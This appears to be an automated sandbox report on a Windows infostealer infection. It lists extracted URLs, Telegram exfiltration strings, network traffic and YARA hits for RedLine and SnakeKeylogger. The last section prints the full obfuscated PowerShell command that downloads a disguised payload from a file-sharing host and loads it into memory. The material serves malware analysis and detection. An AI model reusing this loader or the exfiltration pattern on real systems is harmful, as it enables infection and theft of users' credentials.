Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: wscript.exe, 00000007.00000002.1308059121.0000028EADE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/
Source: wscript.exe, 00000007.00000003.1306812741.0000028EAFC30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308059121.0000028EADE05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308092778.0000028EAF9FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/LOToW
Source: wscript.exe, 00000007.00000002.1307789064.0000028EADC16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1307388014.0000028EADC16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee/d/LOToWH
Source: powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.1867399613.0000020BB090A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1564287804.0000021F80001000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu/swsk/P4.php
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu/swsk/api.php
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com
Source: powershell.exe, 00000008.00000002.1867399613.0000020BB0DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?file
Source: powershell.exe, 0000000B.00000002.1564287804.0000021F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?filekey=2A
Source: powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000008.00000002.1867399613.0000020BB08BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000008.00000002.1867399613.0000020BB08D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1564287804.0000021F80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:936905%0D%0ADate%20a
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: svchost.exe, 0000000D.00000002.2565948471.0000000005580000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: svchost.exe, 0000000D.00000002.2565948471.0000000005553000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.000000000557B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enh
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000007.00000002.1307880181.0000028EADC6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1306086770.0000028EADC6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/
Source: wscript.exe, 00000007.00000003.1305989031.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1307948527.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1307880181.0000028EADC6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1306086770.0000028EADC6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/LOToW
Source: wscript.exe, 00000007.00000003.1305989031.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1307948527.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee:443/d/LOToW
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.000000000543E000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.000000000543E000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.68
Source: svchost.exe, 0000000D.00000002.2565948471.0000000005468000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.68$
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055B1000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/h
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49932 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.3374f2e.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.svchost.exe.326ff20.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.svchost.exe.7d50000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7990000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.svchost.exe.7990f20.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.3.svchost.exe.326f000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1432, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3232, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svchost.exe PID: 7440, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Server XML HTTP 6.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{88d96a0b-f192-11d4-a65f-0040963251e5}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjux